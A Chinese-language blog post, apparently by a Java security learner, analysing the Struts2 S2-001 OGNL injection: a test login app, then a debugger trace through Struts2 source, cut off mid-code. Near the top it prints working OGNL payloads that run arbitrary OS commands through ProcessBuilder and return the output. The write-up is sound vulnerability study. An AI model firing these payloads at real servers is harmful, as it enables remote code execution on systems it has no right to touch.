ssan

前言

最近学习java安全,在分析s2-001的时候发现了一些问题和心得。

一方面网上关于s2-001的漏洞分析很少,基本上都是poc+利用而已。

另一方面在调试过程中感觉apache官方通告有不准确的地方,这点见后面的一点说明部分。

有不准确的地方望各位师傅指出,谢谢。

漏洞信息

漏洞信息页面: https://cwiki.apache.org/confluence/display/WW/S2-001

漏洞成因官方概述:Remote code exploit on form validation error

漏洞影响:

WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8

环境搭建

源码结构:

几个主要文件(待会用到):
index.jsp

<html>
<head>
  <title>用户登录</title>
</head>
<body>
<h1>用户登录</h1>
<s:form action="login">
  <s:textfield name="username" label="username" />
  <s:textfield name="password" label="password" />
  <s:submit></s:submit>
</s:form>

</body>
</html>

struts.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
        "http://struts.apache.org/dtds/struts-2.0.dtd">

<struts>
    <package name="s2-001" extends="struts-default">
        <action name="login" class="com.test.LoginAction">
            <result name="success">/success.jsp</result>
            <result name="error">/index.jsp</result>
        </action>
    </package>
</struts>

web.xml:

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">


    <filter>
        <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>struts2</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

    <welcome-file-list>
        <welcome-file>index.jsp</welcome-file>
    </welcome-file-list>

</web-app>

完整源码见附件。

漏洞利用

最简单poc:

%{1+1}

任意命令执行:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

new java.lang.String[]{"pwd"})中的pwd替换为对应的命令,即可执行。

如:打开根目录 :

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ls","/"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

 

漏洞分析

在经过tomcat容器的处理后,http请求会到达struts2,从这里开始调试吧。

在 /com/opensymphony/xwork2/interceptor/ParametersInterceptor.java:158 接受我们输入的参数值,之后会调用对应的set方法(这个省略):

ValueStack stack = ac.getValueStack();
        setParameters(action, stack, parameters);
    } finally {

继续执行,执行完interceptor部分,也即对return invocation.invoke();进行step over,到达/com/opensymphony/xwork2/DefaultActionInvocation.java:252

跟进executeResult(),到达 /com/opensymphony/xwork2/DefaultActionInvocation.java:343

跟进result.execute(this),到达 /org/apache/struts2/dispatcher/StrutsResultSupport.java:175:

此后在dispatcher.forward(request, response);跟进,此处省略一些过程,相关调用栈如下:

进入 /org/apache/struts2/views/jsp/ComponentTagSupport.java:47,

这里会对jsp标签进行解析,但这时的标签并不包含我们的payload,我们可以在这里step over,直到解析到对应的标签:

如上图,我们提交的password值为%{1+1},因此着重关注对<s:textfield name="password" label="password" />解析。回到doStartTag,执行完后会再次回到index.jsp,此时遇到了相应的闭合标签/>,会跳转到doEndTag:

public int doEndTag() throws JspException {
        component.end(pageContext.getOut(), getBody());
        component = null;
        return EVAL_PAGE;
}

跟进component.end(),到达 /org/apache/struts2/components/UIBean.java:486:

跟入evaluateParams后一直执行到如下图

由于开启了altSyntax,expr变为为%{password}

跟入addParameter("nameValue", findValue(expr, valueClazz));中的findValue,来到 /org/apache/struts2/components/Component.java:318

protected Object findValue(String expr, Class toType) {
        if (altSyntax() && toType == String.class) {
            return TextParseUtil.translateVariables(\'%\', expr, stack);
        }

开启了altSyntaxtoTypeclass.java.lang.string,跟入TextParseUtil.translateVariables,在/com/opensymphony/xwork2/util/TextParseUtil.java:

public static String translateVariables(char open, String expression, ValueStack stack) {
        return translateVariables(open, expression, stack, String.class, null).toString();
    }

继续跟入translateVariables,源码如下:

public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
        // deal with the "pure" expressions first!
        //expression = expression.trim();
        Object result = expression;

        while (true) {
            int start = expression.indexOf(open + "{");
            int length = expression.length();
            int x = start + 2;
            int end;
            char c;
            int count = 1;
            while (start != -1 && x < length && count != 0) {
                c = expression.charAt(x++);
                if (c == \'{\') {
                    count++;
                } else if (c == \'}\') {
                    count--;
                }
            }
            end = x - 1;

            if ((start != -1) && (end != -1) && (count == 0)) {
                String var = expression.substring(start + 2, end);

                Object o = stack.findValue(var, asType);
                if (evaluator != null) {
                    o = evaluator.evaluate(o);
                }


                String left = expression.substring(0, start);
                String right = expression.substring(end + 1);
                if (o != null) {
                    if (TextUtils.stringSet(left)) {
                        result = left + o;
                    } else {
                        result = o;
                    }

                    if (TextUtils.stringSet(right)) {
                        result = result + right

分类:

技术点:

相关文章:

  • 2021-10-14
  • 2021-05-23
  • 2021-07-29
  • 2021-12-02
  • 2021-10-23
  • 2021-08-10
  • 2021-08-01
猜你喜欢
  • 2021-06-08
  • 2021-11-26
  • 2021-10-16
  • 2021-07-02
  • 2021-06-20
  • 2021-08-20
  • 2022-12-23
相关资源
相似解决方案